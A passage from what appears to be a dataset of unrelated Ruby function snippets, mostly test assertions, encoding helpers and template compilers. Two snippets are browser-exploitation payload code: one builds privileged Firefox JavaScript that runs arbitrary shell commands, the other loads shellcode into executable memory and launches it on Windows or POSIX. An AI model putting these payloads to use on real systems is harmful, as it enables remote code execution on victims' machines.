night_write.display_encoded_confirmation_message\n assert_equal expected, actual\n end\n end", "def process_encoding(source)\n source.force_encoding(Encoding::UTF_8)\n end", "def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend", "def fix_encoding(output)\n output[/test/] # Running a regexp on the string throws error if it's not UTF-8\n rescue ArgumentError\n output.force_encoding(\"ISO-8859-1\")\n end", "def verify_source\n # subclasses must implement this method\n puts \"verify_source - not overloaded. file=#{filename}\"\n end", "def formatted_source_file(source_file)\n template(\"source_file\").result(binding)\n rescue Encoding::CompatibilityError => e\n puts \"Encoding problems with file #{filename(source_file)}. Simplecov/ERB can't handle non ASCII characters in filenames. Error: #{e.message}.\"\n end", "def assert(code, output, *args)\n eval(code, *args).stdout == output\n end", "def assert_output_equal!(a, b, msg=nil)\n if a == b\n assert true\n else\n flunk %Q{\n#{msg}\n==================== expected output ====================\n#{whitespace_escape(a)}\n======================== but was ========================\n#{whitespace_escape(b)}\n=========================================================\n}\n end\n end", "def test_preprocessor(preprocessor,input,expected)\n # Prepare the output and the input streams\n puts \"Preparing the input and ouput streams...\"\n output = StringIO.new(\"\")\n # Process the input and exepected arguments.\n if !input.respond_to?(:each_line) or input.is_a?(String) then\n # input is actually a file name, open it.\n input = File.open(input.to_s,\"r\")\n end\n if !expected.respond_to?(:each_line) or expected.is_a?(String) then\n # expected is actually a file name, open it.\n expected = StringIO.new(File.read(expected.to_s))\n end\n\n # Apply the preprocessor\n puts \"Applying the preprocessor...\"\n preprocessor.preprocess(input,output)\n\n # Check the result\n puts \"Checking the result...\"\n output.rewind\n check = output.string == expected.read\n\n unless check\n puts \"*Error*: invalid expansion result.\"\n iline = output.string.each_line\n expected.rewind\n expected.each_line.with_index do |exp_line,i|\n line = iline.next\n puts \"exp_line=#{exp_line}\"\n puts \"line=#{line}\"\n if exp_line != line then\n puts \"Expected line #{i+1}:\\n#{exp_line}\"\n puts \"got:\\n#{line}\"\n end\n end\n return false\n end\n return true\nend", "def assert_code( code , op , should )\n assert_equal op , code.opcode\n io = StringIO.new\n code.assemble(io)\n binary = io.string\n assert_equal should.length , binary.length , \"code length wrong for #{code.inspect}\"\n index = 0\n binary.each_byte do |byte |\n msg = \"byte #{index} 0x#{should[index].to_s(16)} != 0x#{byte.to_s(16)} | \"\n msg += \"#{should[index].to_s(2)} != #{byte.to_s(2)}\"\n assert_equal should[index] , byte , msg\n index += 1\n end\n end", "def test_single_line_string\r\n test_string = \"abc\"\r\n source = XfOOrth::StringSource.new(test_string)\r\n\r\n assert_equal(source.get, 'a')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'b')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'c')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, nil)\r\n assert(source.eoln?)\r\n assert(source.eof?)\r\n end", "def test_ruby_string_1\n pros = Prospector.new(0,0,0)\n assert pros.ruby_string(1).eql? '1 ruby'\n end", "def assert_code code , op , should\n assert_equal op , code.opcode\n io = StringIO.new\n code.assemble(io)\n binary = io.string\n assert_equal should.length , binary.length , \"code length wrong for #{code.inspect}\"\n index = 0\n binary.each_byte do |byte |\n assert_equal should[index] , byte , \"byte #{index} 0x#{should[index].to_s(16)} != 0x#{byte.to_s(16)}\"\n index += 1\n end\n end", "def check(source)\n compiler = VishCompiler.new source\n begin\n compiler.parse\n compiler.transform\n compiler.analyze\n puts 'Syntax OK'\n 0\nrescue Parslet::ParseFailed => failure\n $stderr.puts \"Syntax Error: #{failure.message}\"\n $stderr.puts failure.parse_failure_cause.ascii_tree\n 1\n rescue CompileError => err\n $stderr.puts \"Compile error: #{err.message}\"\n 2\n end\nend", "def check_equal(message, a, b, source=nil)\n if a==b\n output = \" * #{message}: OK (#{a})\"\n else\n output = \" * **#{message}: ERROR #{a} != #{b}**\"\n end\n output = output + \" [fuente](#{source})\" unless source.nil?\n output\n end", "def assert_outputted(str)\n assert_includes output, str\n end", "def check_page_source_match(string)\n $driver.page_source.should =~ Regexp.new(string, Regexp::MULTILINE)\n end", "def verify_output(*expected_output)\n actual_output = read_output_stream\n expected_output.each do |expected|\n assert actual_output.include?(expected.to_s), show_missing_output(expected, actual_output)\n end\nend", "def check_source_type(source)\n if File.file?(source)\n source_file = IO.readlines(source)\n else\n source_file = source\n end\n source_file\n end", "def test_exotic_char\n CheckFile @writer, @ioservice, @adlers, \n \"J'espère que ça va marcher\", \n \"J'espère que ça va marcher\".bytes.each_slice(@chunkSize).to_a.map{|a| a.pack('C*')} \n end", "def assert_equal(expected, actual)\n if expected.is_a?(String) && actual.is_a?(String)\n ex_bin = expected.dup.force_encoding('BINARY')\n act_bin = actual.dup.force_encoding('BINARY')\n\n assert(ex_bin == act_bin,\n \"expected string `#{ex_bin}`, got `#{act_bin}`\")\n else\n assert(expected == actual, \"expected `#{expected}`, got `#{actual}`\")\n end\n end", "def assert_sub_process_returns(expected_lines, code, extra_load_path = [], required = ['tzinfo'])\n ruby = File.join(RbConfig::CONFIG['bindir'],\n RbConfig::CONFIG['ruby_install_name'] + RbConfig::CONFIG['EXEEXT'])\n\n load_path = [TZINFO_LIB_DIR] + extra_load_path\n\n # If RubyGems is loaded in the current process, then require it in the\n # sub-process, as it may be needed in order to require dependencies.\n if defined?(Gem) && Gem.instance_of?(Module)\n required = ['rubygems'] + required\n end\n\n if defined?(RUBY_ENGINE) && RUBY_ENGINE == 'rbx'\n # Stop Rubinius from operating as irb.\n args = ' -'\n else\n args = ''\n end\n\n IO.popen(\"\\\"#{ruby}\\\"#{args}\", 'r+') do |process|\n load_path.each do |p|\n process.puts(\"$:.unshift('#{p.gsub(\"'\", \"\\\\\\\\'\")}')\")\n end\n\n required.each do |r|\n process.puts(\"require '#{r.gsub(\"'\", \"\\\\\\\\'\")}'\")\n end\n\n process.puts(code)\n process.flush\n process.close_write\n\n actual_lines = process.readlines\n actual_lines = actual_lines.collect {|l| l.chomp}\n assert_equal(expected_lines, actual_lines)\n end\n end", "def test_ut_diff_result_02\n original_source_code = OriginalSourceCode.new(\n :original_file_id => 10,\n :line_number => 349898,\n :error_line => 4564,\n :line_content => \"123456\"\n )\n assert_equal(10,original_source_code.original_file_id)\n assert_equal(349898,original_source_code.line_number)\n assert_equal(4564,original_source_code.error_line)\n assert_equal(\"123456\",original_source_code.line_content)\n end", "def process_encoding(source)\n ::Temple::Filters::Encoding.new.call(source)\n end", "def run_cmd_source\n %Q|\n #{read_file_source}\n #{set_timeout_source}\n\n var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n var windows = (ua.indexOf(\"Windows\")>-1);\n var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;\n var runCmd = function(cmd, cb) {\n cb = cb \\|\\| (function(){});\n\n if (cmd.trim().length == 0) {\n setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n return;\n }\n\n var js = (/^\\\\s*\\\\[JAVASCRIPT\\\\]([\\\\s\\\\S]*)\\\\[\\\\/JAVASCRIPT\\\\]/g).exec(cmd.trim());\n if (js) {\n var tag = \"[!JAVASCRIPT]\";\n var sync = true; /* avoid zalgo's reach */\n var sent = false;\n var retVal = null;\n\n try {\n this.send = function(r){\n if (sent) return;\n sent = true;\n if (r) {\n if (sync) setTimeout(function(){ cb(false, r+tag+\"\\\\n\"); });\n else cb(false, r+tag+\"\\\\n\");\n }\n };\n retVal = Function(js[1]).call(this);\n } catch (e) { retVal = e.message; }\n\n sync = false;\n\n if (retVal && !sent) {\n sent = true;\n setTimeout(function(){ cb(false, retVal+tag+\"\\\\n\"); });\n }\n\n return;\n }\n\n var shEsc = \"\\\\\\\\$&\";\n var shPath = \"/bin/sh -c\";\n\n if (windows) {\n shPath = \"cmd /c\";\n shEsc = \"\\\\^$&\";\n var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');\n var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n .createInstance(Components.interfaces.nsIFileOutputStream);\n stream.init(jscriptFile, 0x04 \\| 0x08 \\| 0x20, 0666, 0);\n stream.write(jscript, jscript.length);\n if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n stream.finish();\n } else {\n stream.close();\n }\n }\n\n var stdoutFile = \"#{Rex::Text.rand_text_alphanumeric(8+rand(12))}\";\n\n var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n stdout.append(stdoutFile);\n\n var shell;\n cmd = cmd.trim();\n if (windows) {\n shell = shPath+\" \"+cmd;\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n var b64 = svcs.btoa(shell);\n } else {\n shell = shPath+\" \"+cmd.replace(/\\\\W/g, shEsc);\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n }\n\n var process = Components.classes[\"@mozilla.org/process/util;1\"]\n .createInstance(Components.interfaces.nsIProcess);\n var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n\n if (windows) {\n sh.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\");\n process.init(sh);\n var args = [jscriptFile.path, b64];\n process.run(true, args, args.length);\n jscriptFile.remove(true);\n setTimeout(function(){cb(false, cmd+\"\\\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"/bin/sh\");\n process.init(sh);\n var args = [\"-c\", shell];\n process.run(true, args, args.length);\n setTimeout(function(){cb(false, readFile(stdout.path));});\n }\n };\n |\n end", "def resolve_source(source)\n if source\n source = source.dup\n source.gsub!(/\\$\\([^)]+\\)/) do |m|\n command = m[2..-2]\n result = `#{command}`.chomp\n unless $?.success?\n raise Error, \"Command exited with non-zero status:\\n#{command}\"\n end\n result\n end\n end\n source\n end", "def content_sanitized(source_encoding=nil)\n content(source_encoding).encode('UTF-8', invalid: :replace, undef: :replace)\n end", "def check_actual_vs_expected_output(actual_output_filename, expected_output_filename)\n # Diff actual output against expected output\n cmd = ['diff', actual_output_filename, expected_output_filename]\n stdout_str, stderr_str, status = Open3.capture3(*cmd, stdin_data: '')\n if status.success?\n puts \"Test passed!\"\n exit 0\n else\n puts \"Test failed\"\n puts \"Diff output:\"\n puts stdout_str\n exit 1\n end\nend", "def convert_to_ruby (src)\n rb = \"\"\n # dunno how to deal with only leading declarations of ruby code,\n # so replace it with the other markings\n src.gsub!(/-%>/,\"%>\")\n while\tsrc.index(Embedded_ruby_line) != nil\n src.sub!(Embedded_ruby_line) { |match|\n match[match.index '%'] = \" \"\n \"<% \" + match + \" %>\"\n }\n end\n lines = src.split(Embedded_ruby_flag)\n\n is_ruby_line = false\n lines.each { |line|\n if (line.strip != \"\" and line.strip != nil)\n if is_ruby_line\n if line[0,1] == '='\n # line[0] = \" \"\n # rb += \"puts \" + line.strip\n rb+=\"gr_html_puts \"+line.strip\n else\n rb += line.strip\n end\n else\n rb += \"gr_html( \" + line.inspect + \" )\"\n end\n rb += \"\\n\"\n end\n is_ruby_line = (not is_ruby_line)\n }\n #puts rb\n return rb\n end", "def verify_output()\n STDERR.print \"Checking output \"\n expected = IO.popen(%W(ls -1UA #{TARGET_DIR})) {|c| c.read }\n\n [ true, false ].each do |with_std|\n cmd = [ BIN_PATH, \"-p\" ]\n cmd << \"-s\" if with_std\n cmd << TARGET_DIR\n\n output = IO.popen(%W(ls -1UA #{TARGET_DIR})) {|c| c.read }\n if expected != output\n STDERR.puts \" [failed] #{cmd * \" \"}\"\n exit 1\n end\n\n STDERR.print \".\"\n end\n\n STDERR.puts \" OK\"\nend", "def check_correct_output(expected_outputs, command_output)\n puts \"Command output:\"\n puts \"==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====\"\n puts \"#{command_output}\"\n puts \"==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====\"\n\n if expected_outputs.class == Array\n\n @lines = command_output.split(/\\n/)\n puts \"Feeder produced \" + @lines.length.to_s + \" lines of output.\"\n\n for expected_output in expected_outputs\n foundit = false;\n m = Regexp.compile(expected_output)\n @lines.each { |line|\n if m.match(line) || line == expected_output\n puts \"Found expected command output:\"\n puts line\n foundit = true\n end\n }\n return foundit;\n end\n return true\n else\n return expected_outputs == command_output\n end\n end", "def capture_foorth_io\r\n require 'stringio'\r\n\r\n orig_stdout = $stdout\r\n\r\n (s_o = StringIO.new).set_encoding 'UTF-8'\r\n captured_stdout = s_o\r\n $stdout = captured_stdout\r\n\r\n yield\r\n\r\n return captured_stdout.string.bytes.to_a\r\n ensure\r\n $stdout = orig_stdout\r\n end", "def assert_compiled_javascript_matches(javascript, expectation)\n assert_equal expectation.gsub(/\\s/, \"\"), javascript.gsub(/\\s/, \"\")\nend", "def try_to_execute(code)\n begin\n result = 0\n\n stderr_orig = $stderr.dup\n stdout_orig = $stdout.dup\n\n Dir.chdir(Dir.tmpdir) do\n File.write(cpp_source_file, code)\n\n command = \"#{cpp_command} \"\n command += \"#{cpp_out_file} \"\n command += cpp_source_file\n\n # Temporarily close these\n $stderr.reopen(IO::NULL)\n $stdout.reopen(IO::NULL)\n\n if system(command)\n $stdout.reopen(stdout_orig) # We need this back for open3 to work.\n\n conftest = File::ALT_SEPARATOR ? 'conftest.exe' : './conftest.exe'\n\n Open3.popen3(conftest) do |stdin, stdout, stderr|\n stdin.close\n stderr.close\n result = stdout.gets.chomp.to_i\n end\n else\n raise \"Failed to compile source code with command '#{command}':\\n===\\n#{code}===\"\n end\n end\n ensure\n FileUtils.rm_f(cpp_source_file)\n FileUtils.rm_f(cpp_out_file)\n $stderr.reopen(stderr_orig)\n $stdout.reopen(stdout_orig)\n end\n\n result\n end", "def foorth_raises(source, err=XfOOrth::XfOOrthError, debug=false)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n vm.debug = debug\r\n failed, msg = false, \"\"\r\n\r\n begin\r\n vm.process_string(source)\r\n msg = \"Expected: #{err}\\n Actual: No exception raised.\"\r\n failed = true\r\n\r\n rescue Exception => e\r\n unless e.class == err\r\n msg = \"Expected: #{err}\\n Actual: #{e.class}\"\r\n failed = true\r\n end\r\n end\r\n\r\n raise MiniTest::Assertion, msg, caller if failed\r\n\r\n ensure\r\n vm.debug = false\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def compile(ios, src, ensure_output=false)\n state = :outer\n last_state = nil\n index = 0\n trim_newline = false\n code_buf = ''\n begin\n\n # Find out state for expected pattern\n pattern = expect_pattern(state)\n if new_index = src[index..-1].index(pattern)\n new_index += index\n match = src[index..-1].match(pattern)[0]\n new_state = next_state(state, match)\n else\n new_state = nil\n end\n\n # Process outer state (e.g. HTML or plain text)\n if state == :outer\n s = new_index ? src[index, new_index - index] : src[index..-1]\n if trim_newline && !s.empty?\n s[0] = '' if s[0] == \"\\n\"\n trim_newline = false\n end\n if new_state == :code_skip\n code_buf << s.dup << match[0..-2]\n index = new_index + match.length\n next\n elsif not s.empty?\n ios << \"\\n_.(#{(code_buf << s).inspect},ctx)\"\n code_buf = ''\n end\n end\n\n # Process current state, if there should be a state change\n if new_index\n unless state != :outer && new_state == :code_skip\n if new_state == :outer\n code_buf << src[index...new_index]\n process_code_state(ios, code_buf, state)\n code_buf = ''\n end\n index = new_index + match.length\n trim_newline = true if (match == '-%>')\n last_state = state unless state == :code_comment\n state = new_state\n else\n code_buf << src[index...new_index] << '%>'\n index = new_index + match.length\n end\n end\n\n end until new_index.nil?\n\n if ensure_output && !(PRINT_STATES.include? last_state)\n ios << \"\\n_.('',ctx)\"\n end\n last_state\n end", "def exec_shellcode_source\n %Q|\n var execShellcode = function(shellcode, bytes) {\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n\n var execPosix = function() {\n var RWX = 7, ANON_PRIVATE = 4098;\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n var LIBS = [\n \"/usr/lib/libSystem.B.dylib\",\n \"libc.so.6\",\n \"libc.so\"\n ];\n\n var i, lib;\n for (i in LIBS) {\n try {\n lib = ctypes.open(LIBS[i]);\n break;\n } catch (e) {}\n }\n if (!lib) throw new Error(\"Could not find lib in [\"+LIBS+\"]\");\n\n var mmap = lib.declare('mmap',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.int, /* PROT_READ OR PROT_WRITE OR PROT_EXEC */\n ctypes.int, /* MAP_ANONYMOUS OR MAP_PRIVATE */\n ctypes.int, /* fd (0) */\n ctypes.int /* offset (0) */\n );\n var memcpy = lib.declare('memcpy',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var fork = lib.declare('fork',\n ctypes.default_abi, /* calling convention */\n ctypes.int /* return type */\n );\n var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);\n var cstr = ctypes.jschar.array()(shellcode);\n memcpy(buff, cstr, bytes);\n /* there is probably a better way to do this */\n var m = buff.toString().match(/\"0x([0-9a-fA-F]*)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n if (fork() == 0) {\n ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();\n }\n };\n\n var execWindows = function() {\n var RWX = 0x40, ANON_PRIVATE = 0x1000;\n var Kernel32 = ctypes.open(\"Kernel32.dll\");\n var VirtualAlloc = Kernel32.declare('VirtualAlloc',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* start address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.unsigned_long, /* alloc type */\n ctypes.unsigned_long /* protection flags */\n );\n var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var CreateThread = Kernel32.declare('CreateThread',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* lpThreadAttributes */\n ctypes.voidptr_t, /* dwStackSize */\n ctypes.voidptr_t, /* lpStartAddress copy */\n ctypes.voidptr_t, /* lpParameter */\n ctypes.voidptr_t, /* dwCreationFlags */\n ctypes.voidptr_t /* lpThreadId */\n );\n var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);\n var cstr = ctypes.jschar.array()(shellcode);\n RtlMoveMemory(buff, cstr, bytes);\n var m = buff.toString().match(/\"0x([0-9a-fA-F]+)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));\n CreateThread(null, null, fn, null, null, null);\n };\n\n var i, errs = [], fns = [execWindows, execPosix];\n for (i in fns) {\n try {\n fns[i](shellcode);\n return true;\n } catch(e) { errs.push(e.message); }\n }\n\n throw new Error(\"All methods failed. Exceptions encountered:\\\\n[\"+errs+\"]\");\n };\n |\n end", "def test_stdout_redir\n with_fixture 'stdoutredir' do\n assert system(\"ruby\", ocra, \"stdoutredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdoutredir.exe\")\n system(\"stdoutredir.exe > output.txt\")\n assert File.exist?(\"output.txt\")\n assert_equal \"Hello, World!\\n\", File.read(\"output.txt\")\n end\n end", "def valid_syntax_at?(source)\n errors = []\n warnings = []\n\n validate_record_mark_syntax(source, errors, warnings)\n validate_escaped_character_syntax(source, errors, warnings)\n\n Outcome.new(errors.empty?, nil, [], errors, warnings)\n end", "def testResult(code)\n require 'sicuro'\n logger.info\"................................#{code}\"\n @codeResult = Sicuro.eval(code)\n logger.info \"............................ #{@codeResult}\"\n (@codeResult.stdout).gsub(/(?:\\n\\r?|\\r\\n?)/, '<br>')\n end", "def test_multi_line_string_again\r\n test_string = \"a\\nb\\nc\\n\"\r\n source = XfOOrth::StringSource.new(test_string)\r\n\r\n assert_equal(source.get, 'a')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'b')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'c')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, nil)\r\n assert(source.eoln?)\r\n assert(source.eof?)\r\n end", "def test_to_norm_usascii\n result = ::UTF8Proc.normalize(@asciistr)\n assert_equal @asciistr, result\n assert_equal result.encoding, Encoding::US_ASCII unless jruby?\n refute_same @asciistr, result\n end", "def test_multi_line_string\r\n test_string = \"a\\nb\\nc\"\r\n source = XfOOrth::StringSource.new(test_string)\r\n\r\n assert_equal(source.get, 'a')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'b')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'c')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, nil)\r\n assert(source.eoln?)\r\n assert(source.eof?)\r\n end", "def test_default_external_works\n with_external_encoding \"ISO-8859-1\" do\n @template = new_template(\"hello \\xFCmlat\")\n assert_equal Encoding::UTF_8, render.encoding\n assert_equal \"hello \\u{fc}mlat\", render\n end\n end", "def test_code_1\n string = \"Line 321: Variable x is not initialized\\n\"\n assert_output(string) { Errorcode.error(1, 321, 'x') }\n end", "def test_el4r_lisp2ruby__normal\n cmp = lambda{|str| assert_equal(str, eval(el4r_lisp2ruby(str)))}\n# (mode-info-describe-function 'prin1-to-string 'elisp)\n# (string= \"\\021\" (el4r-ruby-eval (el4r-lisp2ruby \"\\021\")))\n\n cmp[ \"\" ]\n cmp[ \"a\"*9999 ]\n cmp[ '1' ]\n cmp[ 'a' ]\n cmp[ '\\\\' ]\n cmp[ '\\\\\\\\' ]\n cmp[ '\\\\\\\\\\\\' ]\n cmp[ '\"\"' ]\n cmp[ '\"' ]\n cmp[ \"''\" ]\n cmp[ '#{1}' ]\n cmp[ '\\#{1}' ]\n cmp[ '#{\\'1\\'}' ]\n cmp[ '#@a' ]\n cmp[ \"\\306\\374\\313\\334\\270\\354\" ] # NIHONGO in EUC-JP\n end", "def process_source(source)\n return source if source.is_a?(String) && source =~ /\\n/\n\n source, _ = engine.fetch_source(source, { :view_path => options[:view_path] })\n source\n end", "def syntax_check_success(send, line)\n @phase = :augment\n @augmented_code = PythonCodeAugmenter.new(@code, @tracing_vars).to_a()\n\n # Trigger the new syntax check\n send.call([\n {:write_file => {:filename => @filename, :content => @augmented_code}},\n {:execute => {:command => \"#{VM_PYTHON} -c \\\"compile(open('#{@filename}').read(), '', 'exec')\\\" && echo success\",\n :stdout => 'augmentsuccess',\n :stderr => 'augmentfail'}}])\n\n # Don't output anything\n return {:type => :no}\n end", "def raw_code\n @raw_code ||= (File.read path).to_s.force_encoding(Encoding::UTF_8)\n end", "def is_equal_to_utf8cstring(a,b)\n JavaScriptCore::Lib.JSStringIsEqualToUTF8CString(a,b)\n end", "def test_magic_ball_print_shake\n magic_ball = Predictor.new\n # Remember the \\n!\n assert_output(\"SHAKE SHAKE SHAKE\\n\") { magic_ball.print_shake }\n end", "def xtest_input_argv_with_slash_slash_n_string\n with_test_dir do\n RubyTerminal.start do\n intput_file = RubyTerminal.input(@command_with_args_file_path, [\"a\\\\nr\\\\ng\"])\n assert_process_output(\"a\\\\nr\\\\ng\")\n end\n end\n end", "def _assert_str_equal(a, b, msg=nil)\n if a == b\n assert true\n else\n flunk block_given? ? yield(a, b) : %Q{\n=========================================================\n#{msg}\n-------------------- expected output --------------------\n#{whitespace_escape(a)}\n------------------------ but was ------------------------\n#{whitespace_escape(b)}\n=========================================================\n}\n end\n end", "def external_utf8_check?(safe_path)\n iconv = system('command -v iconv > /dev/null 2>&1')\n return false unless iconv\n\n path = SafeFile.safepath_to_string(safe_path)\n system(\"iconv -f UTF-8 #{Shellwords.escape(path)} > /dev/null 2>&1\")\n end", "def interp\n rboutput = `ruby #{RB_FILE} #{RBTEX_OUT}`\n if rboutput == ''\n puts 'Your ruby file had no puts statments'.green\n end\n return 0\nend", "def test_ut_diff_source_code_02\n assert_equal(1,@diff_source_code_1.diff_result_id)\n assert_equal(1,@diff_source_code_1.original_file_id)\n assert_equal(1,@diff_source_code_1.diff_file_id)\n assert_equal(nil,@diff_source_code_1.added_lines)\n assert_equal(\"7;8;9;25;390;396;397;400;404\",@diff_source_code_1.deleted_lines)\n assert_equal(\"1,1;2,2;3,3;4,4;6,6;10,10;11,11;12,12;13,13;14,14;15,15;\",@diff_source_code_1.common_lines)\n end", "def wputs(str)\n puts str.encode(\"cp866\", str.encoding)\nend", "def detect_charset(path)\n Process.run_command 'uchardet', path\n rescue Errno::ENOENT\n # :nocov:\n Process.run_command('encguess', path).sub(/^.*\\s+/, '')\n # :nocov:\n end", "def runTest()\n # open program\n stdin, stdout, stderr, wait_thr = Open3.popen3(@definition.executable, *@definition.arguments)\n\n # put input template to program\n if File.file?(@definition.stdin)\n expect_stdin = IO.readlines(@definition.stdin)\n else\n expect_stdin = [ ]\n end\n\n expect_stdin.each do |x| stdin.puts x end\n stdin.close\n\n # store program output\n result_stdout = stdout.readlines\n result_stderr = stderr.readlines\n stdout.close\n stderr.close\n\n # retreive exit status\n result_status = wait_thr.value.exitstatus\n\n # compare program stdout\n if File.file?(@definition.stdout)\n expect_stdout = IO.readlines(@definition.stdout)\n else\n expect_stdout = [ ]\n end\n mismatch_stdout = compare(expect_stdout, result_stdout)\n\n # compare program stderr\n if File.file?(@definition.stderr)\n expect_stderr = IO.readlines(@definition.stderr)\n else\n expect_stderr = [ ]\n end\n mismatch_stderr = compare(expect_stderr, result_stderr)\n\n # compare program output files\n mismatch_files = false\n @definition.files.each do |output_file, file|\n if File.file?(file)\n expect_file = IO.readlines(file)\n else\n expect_file = [ ]\n end\n\n if File.file?(output_file)\n result_file = IO.readlines(output_file)\n else\n result_file = [ ]\n end\n mismatch_files |= compare(expect_file, result_file)\n end\n\n # compare program status\n mismatch_status = @definition.status != result_status\n\n # debugging output\n if @environment.verbose\n if mismatch_stdout\n puts \"mismatch in stdout\"\n end\n if mismatch_stderr\n puts \"mismatch in stderr\"\n end\n if mismatch_files\n puts \"mismatch in files\"\n end\n if mismatch_status\n puts \"mismatch in status\"\n end\n end\n\n # check the test results\n if !mismatch_stdout && !mismatch_stderr && !mismatch_files && ! mismatch_status\n return_value = false\n else\n return_value = true\n end\n\n return return_value\n end", "def check_source(code)\n check_parse_tree(Checker.parse_tree_for(code))\n end", "def testBasicBinaryInTerminal\n execTest('Applications/Basic', [], 'ReleaseInfo_ExeTerm.rb', :ExpectCalls => [\n [ 'system',\n {\n :Dir => /^.*$/,\n :Cmd => /^exerb\\.bat --version$/\n },\n { :Execute => $RBPTest_ExternalTools ? true : Proc.new { true } }\n ],\n [ 'system',\n {\n :Dir => /^.*\\/Releases\\/#{RUBY_PLATFORM}\\/UnnamedVersion\\/Normal\\/\\d\\d\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d\\/Release$/,\n :Cmd => /^exerb\\.bat -o ExeName.exe .*\\/EXE_windows_Gen\\.rb$/\n },\n { :Execute => $RBPTest_ExternalTools ? true : Proc.new { true } }\n ],\n [ 'system',\n {\n :Dir => /^.*$/,\n :Cmd => /^.*\\/edicon\\.exe .*\\/Releases\\/#{RUBY_PLATFORM}\\/UnnamedVersion\\/Normal\\/\\d\\d\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d\\/Release\\/ExeName.exe .*\\/Icon\\.ico$/\n },\n { :Execute => $RBPTest_ExternalTools ? true : Proc.new {\n FileUtils::touch \"#{Dir.glob(\"Releases/#{RUBY_PLATFORM}/*/*/*\")[0]}/Release/ExeName.exe\"\n true\n } }\n ]\n ]) do |iReleaseDir, iReleaseInfo|\n checkReleaseInfo(iReleaseDir, iReleaseInfo)\n checkReleaseNotes(iReleaseDir, iReleaseInfo)\n lExeFileName = \"#{iReleaseDir}/Release/ExeName.exe\"\n assert(File.exists?(lExeFileName))\n # Unless the Executable file can contain other rb files (please Crate come faster !), files are still present.\n assert(File.exists?(\"#{iReleaseDir}/Release/Main.rb\"))\n if $RBPTest_ExternalTools\n # Test it in Ruby's environment\n assert_equal(\"#{getRubySignature}\nRuby found in environment. Using it directly.\n> ruby -w \\\"#{iReleaseDir}/Release/Main.rb\\\" \\nHello 